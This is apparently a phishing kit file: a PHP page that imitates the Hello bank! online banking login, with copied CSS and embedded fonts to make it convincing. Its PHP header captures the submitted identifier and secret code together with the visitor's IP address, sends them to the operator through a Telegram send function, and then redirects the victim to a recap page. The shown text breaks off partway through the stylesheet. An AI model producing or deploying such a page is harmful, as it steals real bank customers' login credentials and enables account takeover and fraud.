
<?php



error_reporting(0);

if (session_status() === PHP_SESSION_NONE) {
  session_start();
}

include 'includes.php';
include 'core/ip.php';
include 'core/telegram.php';
include 'config.php';

if (isset($_POST['username'],$_POST['password'])) {

  $ip = ip();
  $username = $_POST['username'];
  $password = $_POST['password'];


  $message =  "💌 NOUVEAU LOG HELLOBANK $ip\n\n";
  $message .= "🧲 IDENTIFIANT : $username \n";
  $message .= "🧲 CODE SECRET : $password \n";

  $_SESSION['data'] = $message;

  tlgsend(urlencode($message));

   header('location: ../../recap.php');
}
?> 

<!DOCTYPE html>
<html lang="fr">

  <head>
    <link rel="icon" data-savepage-href="https://www.hellobank.fr/rsc/contrib/image/favicon.ico" href="data:image/x-icon;base64,[encoded data, 5716 characters]">
    <title>Banque en ligne | Hello bank! la banque mobile comme vous</title>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <meta content="IE=edge,chrome=1" http-equiv="X-UA-compatible">
    <meta name="description" content="Hello bank!, une banque en ligne qui a les idées larges. Fluide, rapide et mobile, avec Hello bank! il n'a jamais été aussi simple de gérer son argent.">
    <!--ls:end[meta-description]-->
    <!--ls:begin[meta-vpath]-->
    <meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=no">
    <link type="image/x-icon" data-savepage-href="https://www.hellobank.fr/rsc/contrib/image/favicon.ico" href="data:image/x-icon;base64,[encoded data, 5716 characters]" rel="shortcut icon"><!-- Publi CSS -->
    <style data-savepage-href="https://www.hellobank.fr/rsc/contrib/identification/src/themes/hellobank/css/style.css" type="text/css">
      /* ============================================== */
      /* ============================================== */
      /* ================== GENERIQUE ================= */
      /* ============================================== */
      /* ============================================== */
      /* FONTS */

      @font-face {
        font-family: helloType;
        src:
          /*savepage-url=/rsc/contrib/css/hb2/font/hello_type_light-webfont.eot*/
          url();
        src:
          /*savepage-url=/rsc/contrib/css/hb2/font/hello_type_light-webfont.eot?#iefix*/
          url() format("embedded-opentype"),
          /*savepage-url=/rsc/contrib/css/hb2/font/hello_type_light-webfont.woff2*/
          url(data:font/woff2;base64,[encoded data, 34240 characters]) format("woff2"),
          /*savepage-url=/rsc/contrib/css/hb2/font/hello_type_light-webfont.woff*/
          url(data:font/woff;base64,[encoded data, 43832 characters]) format("woff"),
          /*savepage-url=/rsc/contrib/css/hb2/font/hello_type_light-webfont.ttf*/
          url() format("truetype"),
          /*savepage-url=/rsc/contrib/css/hb2/font/hello_type_light-webfont.svg#helloType*/
          url() format("svg");
        font-weight: 300;
        font-style: normal
      }

      @font-face {
        font-family: helloType;
        src:
          /*savepage-url=/rsc/contrib/css/hb2/font/hello_type_bold-webfont.eot*/
          url();
        src:
          /*savepage-url=/rsc/contrib/css/hb2/font/hello_type_bold-webfont.eot?#iefix*/
          url() format("embedded-opentype"),
          /*savepage-url=/rsc/contrib/css/hb2/font/hello_type_bold-webfont.woff2*/
          url(data:font/woff2;base64,[encoded data, 30512 characters]) format("woff2"),
          /*savepage-url=/rsc/contrib/css/hb2/font/hello_type_bold-webfont.woff*/
          url() format("woff"),
          /*savepage-url=/rsc/contrib/css/hb2/font/hello_type_bold-webfont.ttf*/
          url() format("truetype"),
          /*savepage-url=/rsc/contrib/css/hb2/font/hello_type_bold-webfont.svg#helloType*/
          url() format("svg");
        font-weight: 700;
        font-style: normal
      }

      @font-face {
        font-family: helloType;
        src:
          /*savepage-url=/rsc/contrib/css/hb2/font/hello_type_regular-webfont.eot*/
          url();
        src:
          /*savepage-url=/rsc/contrib/css/hb2/font/hello_type_regular-webfont.eot?#iefix*/
          url() format("embedded-opentype"),
          /*savepage-url=/rsc/contrib/css/hb2/font/hello_type_regular-webfont.woff2*/
          url(data:font/woff2;base64,[encoded data, 33984 characters]) format("woff2"),
          /*savepage-url=/rsc/contrib/css/hb2/font/hello_type_regular-webfont.woff*/
          url() format("woff"),
          /*savepage-url=/rsc/contrib/css/hb2/font/hello_type_regular-webfont.ttf*/
          url() format("truetype"),
          /*savepage-url=/rsc/contrib/css/hb2/font/hello_type_regular-webfont.svg#helloType*/
          url() format("svg");
        font-weight: 400;
        font-style: normal
      }

      @font-face {
        font-family: 'hello_typebold';
        src:
          /*savepage-url=/rsc/contrib/identification/src/themes/hellobank/fonts/hello_type_bold-webfont.eot*/
          url();
        src:
          /*savepage-url=/rsc/contrib/identification/src/themes/hellobank/fonts/hello_type_bold-webfont.eot?#iefix*/
          url() format('embedded-opentype'),
          /*savepage-url=/rsc/contrib/identification/src/themes/hellobank/fonts/hello_type_bold-webfont.woff*/
          url() format('woff'),
          /*savepage-url=/rsc/contrib/identification/src/themes/hellobank/fonts/hello_type_bold-webfont.ttf*/
          url() format('truetype'),
          /*savepage-url=/rsc/contrib/identification/src/themes/hellobank/fonts/hello_type_bold-webfont.svg#hello_typebold*/
          url() format('svg');
        font-weight: normal;
        font-style: normal;
      }

      @font-face {
        font-family: 'hello_typelight';
        src:
          /*savepage-url=/rsc/contrib/identification/src/themes/hellobank/fonts/hello_type_light-webfont.eot*/
          url();
        src:
          /*savepage-url=/rsc/contrib/identification/src/themes/hellobank/fonts/hello_type_light-webfont.eot?#iefix*/
          url() format('embedded-opentype'),
          /*savepage-url=/rsc/contrib/identification/src/themes/hellobank/fonts/hello_type_light-webfont.woff*/
          url() format('woff'),
          /*savepage-url=/rsc/contrib/identification/src/themes/hellobank/fonts/hello_type_light-webfont.ttf*/
          url() format('truetype'),
          /*savepage-url=/rsc/contrib/identification/src/themes/hellobank/fonts/hello_type_light-webfont.svg#hello_typelight*/
          url() format('svg');
        font-weight: normal;
        font-style: normal;
      }

      @font-face {
        font-family: 'hello_typeregular';
        src:
          /*savepage-url=/rsc/contrib/identification/src/themes/hellobank/fonts/hello_type_regular-webfont.eot*/
          url();
        src:
          /*savepage-url=/rsc/contrib/identification/src/themes/hellobank/fonts/hello_type_regular-webfont.eot?#iefix*/
          url() format('embedded-opentype'),
          /*savepage-url=/rsc/contrib/identification/src/themes/hellobank/fonts/hello_type_regular-webfont.woff*/
          url() format('woff'),
          /*savepage-url=/rsc/contrib/identification/src/themes/hellobank/fonts/hello_type_regular-webfont.ttf*/
          url() format('truetype'),
          /*savepage-url=/rsc/contrib/identification/src/themes/hellobank/fonts/hello_type_regular-webfont.svg#hello_typeregular*/
          url() format('svg');
        font-weight: normal;
        font-style: normal;
      }

      @font-face {
        font-family: 'bnpp_sans_condensed_regular';
        src:
          /*savepage-url=/rsc/contrib/identification/src/themes/hellobank/fonts/bnpp_sans_cond_v2-webfont.eot*/
          url();
        src:
          /*savepage-url=/rsc/contrib/identification/src/themes/hellobank/fonts/bnpp_sans_cond_v2-webfont.eot?#iefix*/
          url() format('embedded-opentype'),
          /*savepage-url=/rsc/contrib/identification/src/themes/hellobank/fonts/bnpp_sans_cond_v2-webfont.woff*/
          url() format('woff'),
          /*savepage-url=/rsc/contrib/identification/src/themes/hellobank/fonts/bnpp_sans_cond_v2-webfont.ttf*/
          url() format('truetype'),
          /*savepage-url=/rsc/contrib/identification/src/themes/hellobank/fonts/bnpp_sans_cond_v2-webfont.svg#bnpp_sans_condensedregular*/
          url() format('svg');
        font-weight: normal;
        font-style: normal;
      }

      @font-face {
        font-family: 'bnp_regular';
        src:
          /*savepage-url=/rsc/contrib/identification/src/themes/hellobank/fonts/bnpp_type_regular_v2-webfont.eot*/
          url();
        src:
          /*savepage-url=/rsc/contrib/identification/src/themes/hellobank/fonts/bnpp_type_regular_v2-webfont.eot?#iefix*/
          url() format('embedded-opentype'),
          /*savepage-url=/rsc/contrib/identification/src/themes/hellobank/fonts/bnpp_type_regular_v2-webfont.woff*/
          url() format('woff'),
          /*savepage-url=/rsc/contrib/identification/src/themes/hellobank/fonts/bnpp_type_regular_v2-webfont.ttf*/
          url() format('truetype'),
          /*savepage-url=/rsc/contrib/identification/src/themes/hellobank/fonts/bnpp_type_regular_v2-webfont.svg#bnpp_type_regular_v2*/
          url() format('svg');
        font-weight: normal;
        font-style: normal;
      }

      @font-face {
        font-family: 'bnpp_sans_condensed_light';
        src:
          /*savepage-url=/rsc/contrib/identification/src/themes/hellobank/fonts/bnpp_sans_cond_light_v2-webfont.eot*/
          url();
        src:
          /*savepage-url=/rsc/contrib/identification/src/themes/hellobank/fonts/bnpp_sans_cond_light_v2-webfont.eot?#iefix*/
          url() format('embedded-opentype'),
          /*savepage-url=/rsc/contrib/identification/src/themes/hellobank/fonts/bnpp_sans_cond_light_v2-webfont.woff*/
          url() format('woff'),
          /*savepage-url=/rsc/contrib/identification/src/themes/hellobank/fonts/bnpp_sans_cond_light_v2-webfont.ttf*/
          url() format('truetype'),
          /*savepage-url=/rsc/contrib/identification/src/themes/hellobank/fonts/bnpp_sans_cond_light_v2-webfont.svg#bnpp_sans_cond_light_v2*/
          url() format('svg');
        font-weight: normal;
        font-style: normal;
      }

      @font-face {
        font-family: 'bnp_bold';
        src:
          /*savepage-url=/rsc/contrib/identification/src/themes/hellobank/fonts/bnpp_type_bold_v2-webfont.eot*/
          url();
        src:
          /*savepage-url=/rsc/contrib/identification/src/themes/hellobank/fonts/bnpp_type_bold_v2-webfont.eot?#iefix*/
          url() format('embedded-opentype'),
          /*savepage-url=/rsc/contrib/identification/src/themes/hellobank/fonts/bnpp_type_bold_v2-webfont.woff*/
          url() format('woff'),
          /*savepage-url=/rsc/contrib/identification/src/themes/hellobank/fonts/bnpp_type_bold_v2-webfont.ttf*/
          url() format('truetype'),
          /*savepage-url=/rsc/contrib/identification/src/themes/hellobank/fonts/bnpp_type_bold_v2-webfont.svg#bnpp_sans_cond_light_v2*/
          url() format('svg');
        font-weight: normal;
        font-style: normal;
      }

      @font-face {
        font-family: 'iconbnp';
        src:
          /*savepage-url=/rsc/contrib/identification/src/themes/hellobank/fonts/iconbnp.eot*/
          url(),
          /*savepage-url=/rsc/contrib/identification/src/themes/hellobank/fonts/iconbnp.woff*/
          url() format('woff'),
          /*savepage-url=/rsc/contrib/identification/src/themes/hellobank/fonts/iconbnp.ttf*/
          url() format('truetype'),
          /*savepage-url=/rsc/contrib/identification/src/themes/hellobank/fonts/iconbnp.svg#iconbnp*/
          url() format('svg');
        font-style: normal;
      }

      @font-face {
        font-family: 'hbicons';
        src:
          /*savepage-url=/rsc/contrib/identification/src/themes/hellobank/fonts/hbicons.eot*/
          url(),
          /*savepage-url=/rsc/contrib/identification/src/themes/hellobank/fonts/hbicons.woff*/
          url(data:font/woff;base64,[encoded data, 124904 characters]) format('woff'),
          /*savepage-url=/rsc/contrib/identification/src/themes/hellobank/fonts/hbicons.ttf*/
          url() format('truetype'),
          /*savepage-url=/rsc/contrib/identification/src/themes/hellobank/fonts/hbicons.svg*/
          url() format('svg');
        font-style: normal;
      }







      /* GENERIQUE / BNP */
      html {
        -ms-text-size-adjust: 100%;
        -webkit-text-size-adjust: 100%;
        font-size: 15px;
        font-family: hello_typeregular, Arial, sans-serif;
        -webkit-font-smoothing: antialiased;
        color: #424242;
      }

      body {
        font-family: helloType, arial, sans-serif;
        max-width: 1440px;
        margin-right: auto;
        margin-left: auto;
        color: #4e5152
      }

      article,
      aside,
      details,
      figcaption,
      figure,
      footer,
      header,
      hgroup,
      main,
      nav,
      section,
      summary {
        display: block;
      }

      *,
      :after,
      :before {
        -webkit-box-sizing: border-box;
        -moz-box-sizing: border-box;
        box-sizing: border-box;
      }

      .text-hide {
        font: 0/0 a;
        color: transparent;
        text-shadow: none;
        background-color: transparent;
        border: 0;
      }

      ul li {
        list-style: none;
      }

      a {
        background: 0 0;
      }

      p {
        font-weight: 300;
      }

      .link,
      a:active,
      a:hover,
      a:link,
      a:visited {
        color: #11bad5;
      }

      .icon {
        width: 0;
        height: 0;
        speak: none;
        font-family: iconbnp;
        font-style: normal;
        font-weight: 400;
        font-variant: normal;
        text-transform: none;
        line-height: 1;
        background-image: none;
        -webkit-font-smoothing: antialiased;
        -moz-osx-font-smoothing: grayscale;
        display: inline;
      }

      .hidden {
        display: none !important;
      }

      .pull-left {
        float: left;
      }

      .pull-right {
        float: right;
      }

      #ls-canvas {
        width: 100%;
        max-width: 1400px;
        margin: 0 auto;
        background-color: #FFF;
        position: relative;
      }

      [class*=col-] {
        float: left;
      }

      .col-10 {
        width: 10%;
      }

      .col-40 {
        width: 40%;
      }

      .col-50 {
        width: 50%;
      }

      .container {
        width: 1024px;
        margin-right: auto;
        margin-left: auto;
      }

      .container-ident {
        position: relative;
        width: 100%;
        margin: 0 auto;
        padding: 1rem;
        padding-top: 4rem;
        padding-bottom: 12rem;
      }

      .btn {
        font-size: 12px;
        padding: 14px 30px;
        border-radius: 50px;
        display: inline-block;
        -ms-touch-action: manipulation;
        touch-action: manipulation;
        cursor: pointer;
        background-image: none;
        white-space: nowrap;
        text-transform: uppercase;
        color: #fff;
        text-align: center;
        font-weight: 700;
        -webkit-box-shadow: 0 3px 6px 0 rgba(31, 39, 42, .18);
        box-shadow: 0 3px 6px 0 rgba(31, 39, 42, .18);
        letter-spacing: .3px;
        line-height: 1;
        position: relative;
      }

      #message-erreur {
        display: none;
        margin: 1rem 2rem;
        padding: 1.5rem 7rem 1.5rem 1rem;
        color: #ffffff;
        background-color: #ff5a64;
        border-radius: .3rem;
        border: solid 1px #ccc;
        position: relative;
      }

      .txt-center {
        text-align: center;
      }


















      body.hello-ident.ident {
        background-color: #00577B;
        background-image:
          /*savepage-url=/rsc/contrib/identification/src/themes/hellobank/images/content/bg-header.png*/
          var(--savepage-url-10);
        background-repeat: no-repeat;
        background-size: cover;
        background-position: top 2% center;
      }

      body.hello-ident.ident header {
        padding: 1rem;
        padding-left: 0;
        padding-top: 26px;
      }

      body.hello-ident.ident header img {
        vertical-align: middle;
      }


      body.hello-ident.ident header a {
        float: right;
        margin-top: 2rem;
        color: #FFF;
        border: 1px solid white;
        background: none;
        background-color: transparent;
        -webkit-box-shadow: none;
        box-shadow: none;
      }



      /* CONTENT */
      body.hello-ident.ident #id_balise_div_ident {
        min-height: 700px;
        width: 100%;
        margin: 0 auto;
        padding: 2rem 0 0;
        background-color: transparent !important;
        float: left;
      }

      body.hello-ident.ident #ia-identification .ident.ident {
        max-width: 1024px;
        margin: 0 auto;
      }

      body.hello-ident.ident #ia-identification .ident .main-content {
        width: 55%;
        background-color: #f7f7f7;
        margin-right: 1rem;
        display: inline-block;
        float: left;
        color: #fff;
        border-radius: 0.5rem;
        -webkit-box-shadow: 0px 10px 20px 3px rgba(100, 100, 100, 0.2);
        box-shadow: 0px 10px 20px 3px rgba(100, 100, 100, 0.2);
      }

      body.hello-ident.ident #ia-identification .ident .main-content .container-ident h2 {
        display: none !important;
      }

      body.hello-ident.ident #ia-identification .ident .main-content .container-ident #logincanalnet {
        width: 80%;
        margin: auto;
      }

      body.hello-ident.ident #ia-identification .ident .main-content .container-ident #logincanalnet .grille-ident {
        width: 100%;
        list-style: none;
        padding: 0;
        margin: 0;
      }

      body.hello-ident.ident #ia-identification .ident .main-content .container-ident #logincanalnet .grille-ident li {
        position: relative;
        margin-bottom: 1.5rem;
      }

      body.hello-ident.ident #ia-identification .ident .main-content .container-ident #logincanalnet .grille-ident li a.reset-input {
        background:
          /*savepage-url=/rsc/contrib/identification/src/themes/hellobank/images/content/sprite-form.png*/
          var(--savepage-url-12) center 150px;
        display: block;
        position: absolute;
        top: 22px;
        right: 10px;
        z-index: 1;
        width: 38px;
        height: 42px;
        cursor: pointer;
      }


      body.hello-ident.ident #ia-identification .ident .main-content .container-ident #logincanalnet .grille-ident li label {
        display: block;
        font-size: 11px;
        line-height: 1rem;
        font-weight: normal;
        color: #1f272a;
        margin: 10px 0 2px 0;
        text-transform: uppercase;
        position: relative;
      }

      body.hello-ident.ident #ia-identification .ident .main-content .container-ident #logincanalnet .grille-ident li input {
        background-color: #ffffff;
        background-image: none;
        border-radius: 3px;
        border: 1px solid #dde2e8;
        color: #1f272a;
        display: block;
        font-weight: normal;
        font-size: 0.93333rem;
        height: 52px;
        padding: 6px 45px 6px 1rem;
        width: 100%;
        margin-bottom: 1rem;
      }

      body.hello-ident.ident #ia-identification .ident .main-content .container-ident #logincanalnet .grille-ident li a.form-control {
        background:
          /*savepage-url=/rsc/contrib/identification/src/themes/hellobank/images/content/sprite-form.png*/
          var(--savepage-url-12) center 150px;
        display: block;
        position: absolute;
        top: 1.5rem;
        right: 10px;
        z-index: 1;
        width: 38px;
        height: 42px;
        cursor: pointer;
      }

      body.hello-ident.ident #ia-identification .ident .main-content .container-ident #logincanalnet .grille-ident li #memoriser {
        position: absolute;
        left: -9999px;
      }

      body.hello-ident.ident #ia-identification .ident .main-content .container-ident #logincanalnet .grille-ident li .checkbox-inline {
        text-transform: uppercase;
      }



      body.hello-ident.ident #ia-identification .ident .main-content .container-ident #logincanalnet .grille-ident li [type="checkbox"]:not(:checked)+label {
        position: relative;
        font-size: 13px;
        padding-left: 2rem;
        cursor: pointer;
        margin-bottom: 13px;
        line-height: 1.5rem;
      }

      body.hello-ident.ident #ia-identification .ident .main-content .container-ident #logincanalnet .grille-ident li [type="checkbox"]+label:before {
        content: '';
        height: 1.6rem;
        width: 1.6rem;
        background-color: #fff;
        border: solid 1px #dde2e8;
        position: absolute;
        top: 0;
        left: 0;
        border-radius: 3px;
      }

      body.hello-ident.ident #ia-identification .ident .main-content .container-ident #logincanalnet .grille-ident li [type="checkbox"]:checked+label {
        font-size: 13px;
        line-height: 22px;
        padding-left: 30px;
      }

      body.hello-ident.ident #ia-identification .ident .main-content .container-ident #logincanalnet .grille-ident li [type="checkbox"]:checked+label:before {
        border: solid 1px #11bad5;
      }

      body.hello-ident.ident #ia-identification .ident .main-content .container-ident #logincanalnet .grille-ident li [type="checkbox"]:checked+label:after {
        position: absolute;
        text-align: center;
        content: "";
        font-family: hbicons;
        color: #11bad5;
        font-size: 0.6rem;
        font-weight: bold;
        width: 1.2rem;
        height: 1.2rem;
        left: 4px;
        top: 1px;
      }

      body.hello-ident.ident #ia-identification .ident .main-content .container-ident #logincanalnet .grille-ident li .cell-grid {
        height: 125px;
        margin: 3rem 0;
      }

      body.hello-ident.ident #ia-identification .ident .main-content .container-ident #logincanalnet .grille-ident li .cell-grid #secret-nbr-keyboard {
        background-repeat: no-repeat;
        background-size: 100%;
        height: 170%;
        width: 100%;
      }

      body.hello-ident.ident #ia-identification .ident .main-content .container-ident #logincanalnet .grille-ident li .cell-password {
        margin-top: 4rem;
      }

      body.hello-ident.ident #ia-identification .ident .main-content .container-ident #logincanalnet .grille-ident li .cell-password .field-valid {
        width: 70%;
        margin: auto;
      }

      body.hello-ident.ident #ia-identification .ident .main-content .container-ident #logincanalnet .grille-ident li .cell-password .field-valid #submitIdent {
        width: 100%;
        display: block;
        color: #FFF;
        background-color: #f0767e !important;
        cursor: pointer;
        text-align: center;
        text-transform: uppercase;
        border-radius: 50px;
        font-size: 12px;
        font-weight: bold;
        padding: 14px 30px;
        -webkit-box-shadow: 0px 3px 6px 0 rgba(31, 39, 42, 0.18);
        box-shadow: 0px 3px 6px 0 rgba(31, 39, 42, 0.18);
        -webkit-appearance: none;
        border: none;
      }

      body.hello-ident.ident #ia-identification .ident .main-content .container-ident #logincanalnet .grille-ident li .cell-password .field-valid #submitIdent:disabled:disabled {
        cursor: default;
        opacity: 0.5;
        pointer-events: none;
      }

      body.hello-ident.ident #ia-identification .ident .main-content .container-ident #logincanalnet .grille-ident li #ident-bottom-grid {
        width: calc(131% + 6px);
        margin-left: -15%;
        margin-bottom: -3rem;
        position: absolute;
        left: -5px;
        bottom: -10.7rem;
        padding: 0;
      }

      body.hello-ident.ident #ia-identification .ident .main-content .container-ident #logincanalnet .grille-ident li #ident-bottom-grid .row:nth-child(1) {
        margin: 2rem 0 5rem;
        font-size: 1.3rem;
      }

      body.hello-ident.ident #ia-identification .ident .main-content .container-ident #logincanalnet .grille-ident li #ident-bottom-grid a {
        font-size: 1rem;
        color: #11bad5;
        text-decoration: none;
      }

      body.hello-ident.ident #ia-identification .ident .main-content .container-ident #logincanalnet .grille-ident li #ident-bottom-grid .row:nth-child(2) {
        width: 100%;
        margin: 0;
        padding: .5rem 0;
        border-radius: 0 0 .5rem .5rem;
        background-color: #11bad5;
        background-image: linear-gradient(95deg, #00577B, #11bad5);
      }

      body.hello-ident.ident #ia-identification .ident .main-content .container-ident #logincanalnet .grille-ident li #ident-bottom-grid .row:nth-child(2) .ibg-1 {
        padding-left: 11px;
        padding-right: 11px;
      }

      body.hello-ident.ident #ia-identification .ident .main-content .container-ident #logincanalnet .grille-ident li #ident-bottom-grid .row:nth-child(2) .ibg-1 a {
        color: #11bad5;
        font-size: 1rem;
        text-decoration: none;
      }

      body.hello-ident.ident #ia-identification .ident .main-content .container-ident #logincanalnet .grille-ident li #ident-bottom-grid .row:nth-child(2) .ibg-1 p {
        padding-top: .1rem;
        color: #ffffff;
        text-transform: uppercase;
      }

      body.hello-ident.ident #ia-identification .ident .main-content .container-ident #logincanalnet .grille-ident li #ident-bottom-grid .ibg-1 p:before {
        content: "";
        font-family: hbicons;
        font-size: 1.5rem;
        color: #ffffff;
        margin-right: .5rem;
        vertical-align: middle;
        line-height: 1.3rem;
      }











      body.hello-ident.ident #ia-identification .ident .col-aside {
        width: 42%;
        display: inline-block;
        background-color: transparent;
        float: none !important;
        min-height: 445px;
        border-top-left-radius: 3px;
        border-bottom-left-radius: 3px;
        position: relative;
      }

      body.hello-ident.ident #ia-identification .ident .col-aside #ident-colonne-droite {
        border-radius: 0.5rem;
        -webkit-box-shadow: 0px 10px 20px 3px rgba(100, 100, 100, 0.2);
        box-shadow: 0px 10px 20px 3px rgba(100, 100, 100, 0.2);
        margin-bottom: 2rem;
        padding: 0;
        background-color: #f7f7f7;
        font-size: 14px;
      }

      body.hello-ident.ident #ia-identification .ident .col-aside #ident-colonne-droite article {
        padding-top: 0.5rem;
        padding: 1rem;
        background-repeat: no-repeat;
      }

      body.hello-ident.ident #ia-identification .ident .col-aside #ident-colonne-droite article h2 {
        font-family: helloType, arial, sans-serif;
        margin-top: -0.2rem;
        color: #ffffff;
        font-size: 1.4rem;
        line-height: 2.3rem;
      }

      body.hello-ident.ident #ia-identification .ident .col-aside #ident-colonne-droite article p {
        /*! line-height: 1.67; */
        font-weight: 300;
      }

      body.hello-ident.ident #ia-identification .ident .col-aside #ident-colonne-droite article:nth-child(1) {
        background-image:
          /*savepage-url=/rsc/contrib/identification/src/themes/hellobank/images/content/globe.jpg*/
          var(--savepage-url-13);
        background-position: 0 -19px;
        background-size: cover;
        padding-top: 1rem;
        padding-bottom: 14px;
        border-top-left-radius: 10px;
        border-top-right-radius: 10px;
      }

      body.hello-ident.ident #ia-identification .ident .col-aside #ident-colonne-droite article:nth-child(1) ul {
        padding: 0;
        margin: 0;
        line-height: 2em;
      }

      body.hello-ident.ident #ia-identification .ident .col-aside #ident-colonne-droite article:nth-child(1) ul li a {
        color: #fff;
      }

      body.hello-ident.ident #ia-identification .ident .col-aside #ident-colonne-droite article:nth-child(2) {
        background-image:
          /*savepage-url=/rsc/contrib/identification/src/themes/hellobank/images/content/computer.jpg*/
          var(--savepage-url-14);
        background-position: 0px -7px;
        background-size: cover;
        border-radius: 0;
      }

      body.hello-ident.ident #ia-identification .ident .col-aside #ident-colonne-droite article:nth-child(2) h2 {
        margin-top: 0.3rem;
        line-height: 2rem;
      }

      body.hello-ident.ident #ia-identification .ident .col-aside #ident-colonne-droite article:nth-child(2) p {
        color: #ffffff;
        width: 55%;
        font-size: 12px;
        line-height: 1.4rem;
      }

      body.hello-ident.ident #ia-identification .ident .col-aside #ident-colonne-droite article:nth-child(2) p a {
        color: #ffffff;
      }

      body.hello-ident.ident #ia-identification .ident .col-aside #ident-colonne-droite article:nth-child(3) {
        padding: 1rem;
        padding-top: 0.5rem;
      }

      body.hello-ident.ident #ia-identification .ident .col-aside #ident-colonne-droite article:nth-child(3)>p {
        width: 80%;
        padding-left: 1rem;
      }

      body.hello-ident.ident #ia-identification .ident .col-aside #ident-colonne-droite article:nth-child(3) .telephone {
        height: 32px;
        width: 293px;
        background-color: #FFF;
        font-family: arial;
        border: 1px solid #b0b2b3;
        margin-top: 20px;
        margin-left: 0;
        vertical-align: top;
      }

      body.hello-ident.ident #ia-identification .ident .col-aside #ident-colonne-droite article:nth-child(3) .telephone .number {
        width: 160px;
        background-color: #FFF;
        display: inline-block;
        color: #78b41e;
        font-size: 23px;
        font-weight: bold;
        float: left;
        padding-left: 4px;
        padding-top: 2px;
      }

      body.hello-ident.ident #ia-identification .ident .col-aside #ident-colonne-droite article:nth-child(3) .telephone .arrow-right {
        position: relative;
      }

      body.hello-ident.ident #ia-identification .ident .col-aside #ident-colonne-droite article:nth-child(3) .telephone .arrow-right:after {
        content: " ";
        position: absolute;
        left: 156px;
        top: 10px;
        display: block;
        width: 0;
        height: 0;
        border-style: solid;
        border-color: transparent;
        border-width: 14px 0 14px 16px;
        border-left-color: #FFF;
        border-width: 10px 0 10px 10px;
        margin-top: -10px;
        pointer-events: none;
      }

      body.hello-ident.ident #ia-identification .ident .col-aside #ident-colonne-droite article:nth-child(3) .telephone .texte {
        width: 121px;
        height: 35px;
        margin-top: -3px;
        padding-top: 0;
        text-align: left;
        background-color: #78b41e;
        display: inline-block;
      }

      body.hello-ident.ident #ia-identification .ident .col-aside #ident-colonne-droite article:nth-child(3) .telephone .texte p {
        font-family: Arial, Helvetica, sans-serif;
        font-size: 12px;
        font-weight: bold;
        color: #FFF;
        line-height: 13px;
        margin: 0;
        padding-left: 9px;
        padding-top: 3px;
      }

      body.hello-ident.ident #ia-identification .ident .col-aside #ident-colonne-droite article:nth-child(3) p a {
        color: #11bad5;
        text-decoration: underline;
      }





      body.hello-ident #ident-footer {
        margin: 0 auto;
        margin-top: 3rem;
        padding: 2rem 0 4rem;
        background-color: #ffffff;
      }

      body.hello-ident #ident-footer .row {
        padding: 0 2rem;
      }

      body.hello-ident #ident-footer .row h2 {
        position: relative;
        font-family: helloType, arial, sans-serif;
        font-size: 1.75rem;
        font-weight: 700;
        color: #1f272a;
        line-height: 2rem;
        padding-top: 1.25rem;
        margin-bottom: 1rem;
        text-transform: inherit;
      }

      body.hello-ident #ident-footer .row h2:before {
        content: "";
        display: inline-block;
        position: absolute;
        top: 0;
        left: 50%;
        width: 60px;
        height: 5px;
        border-radius: 2px;
        -webkit-transform: translateX(-50%);
        transform: translateX(-50%);
        background-color: #176d8c;
      }

      body.hello-ident #ident-footer .row p {
        padding: 0 2rem;
      }

      body.hello-ident #ident-footer .row p a {
        color: #11bad5;
        text-decoration: underline;
      }






      /* ====== Ajout Jordan MADEC le 24/09 pour CAS - Page Authent ====== */
      #buttonPopinNumClientMDP {
        font-family: helloType, arial, sans-serif;
        font-size: 14px;
        text-decoration: underline;
        font-weight: normal;
        color: #fff;
        background: none;
        padding: 0;
        border: 0;
      }

      #buttonPopinNumClientMDP:hover {
        cursor: pointer;
      }

      #popinNumClientMDP {
        display: block;
        max-width: 654px;
        width: 50%;
        position: fixed;
        z-index: 99;
        top: 25%;
        left: calc(50% - 327px);
        padding: 64px 96px 64px 96px;
        border-radius: 8px;
        background-color: #f7f7f7;
      }

      #popinNumClientMDP a.popin-close {
        position: absolute;
        top: 16px;
        right: 16px;
        font-family: helloType, arial, sans-serif;
        font-size: 20px;
        line-height: 1;
        text-transform: lowercase;
        color: #78808a;
      }

      #popinNumClientMDP a.popin-close:hover {
        cursor: pointer;
      }

      #popinNumClientMDP div p {
        font-family: helloType, arial, sans-serif;
        font-size: 14px;
        line-height: 1.71;
        letter-spacing: 0.14px;
        text-align: center;
        color: #4e5152;
        margin: 0;
      }

      #popinNumClientMDP div p.title {
        font-size: 16px;
        font-weight: bold;
        line-height: 1.69;
        letter-spacing: 0.4px;
        color: #1f272a;
        margin-bottom: 16px;
      }

      #popinNumClientMDP div .btn-group {
        display: flex;
        width: 100%;
        background: none;
        border: 0;
        padding: 0;
        margin-top: 24px;
      }

      #popinNumClientMDP div .btn-group a {
        float: left;
        width: 48%;
        min-height: 108px;
        padding: 16px;
        border-radius: 8px;
        background-color: #fff;
        font-family: helloType, arial, sans-serif;
        font-size: 14px;
        font-weight: bold;
        text-align: center;
        text-decoration: none;
        color: #1f272a;
        display: flex;
        align-items: center;
        justify-content: center;
        flex-wrap: wrap;
      }

      #popinNumClientMDP div .btn-group a:hover {
        box-shadow: rgba(0, 0, 0, 0.35) 0px 5px 15px;
      }

      #popinNumClientMDP div .btn-group a:first-child {
        margin-right: 4%;
      }

      #popinNumClientMDP div .btn-group a span {
        font-family: helloType, arial, sans-serif;
        color: #4e5152;
        margin-top: 8px;
      }

      #popinNumClientMDP div .btn-group a:first-child span span {
        font-size: 10px;
        line-height: 1.4;
        letter-spacing: 0.11px;
        text-align: center;
        color: #4e5152;
      }

      #popinCache {
        position: fixed;
        z-index: 10;
        top: 0;
        left: 0;
        width: 100%;
        height: 100%;
        background-color: rgba(0, 0, 0, 0.8);
      }










      /* ============================================== */
      /* ============================================== */
      /* ================= RESPONSIVE ================= */
      /* ============================================== */
      /* ============================================== */
      @media (min-width: 1024px) {
        .btn {
          font-size: .8rem;
          padding: 18px 40px;
          border-radius: 50px;
        }
      }

      @media (min-width :1024px) {
        html {
          font-size: 16px;
        }
      }


      @media (min-width: 768px) {
        .row {
          margin-left: -11px;
          margin-right: -11px;
        }

        .h2 {
          font-size: 1.75rem;
          line-height: 2rem;
        }

        p {
          letter-spacing: .4px;
        }
      }


      @media (max-width: 768px) {
        .container {
          width: 100%;
          margin-right: auto;
          margin-left: auto;
        }

        body.hello-ident.ident #id_balise_div_ident {
          padding: 1rem 0 0;
        }

        body.hello-ident.ident #ident-header img {
          height: auto;
          width: 22%;
          margin: 1rem 0 0 0;
        }

        body.hello-ident.ident #ia-identification .ident .main-content {
          width: 100%;
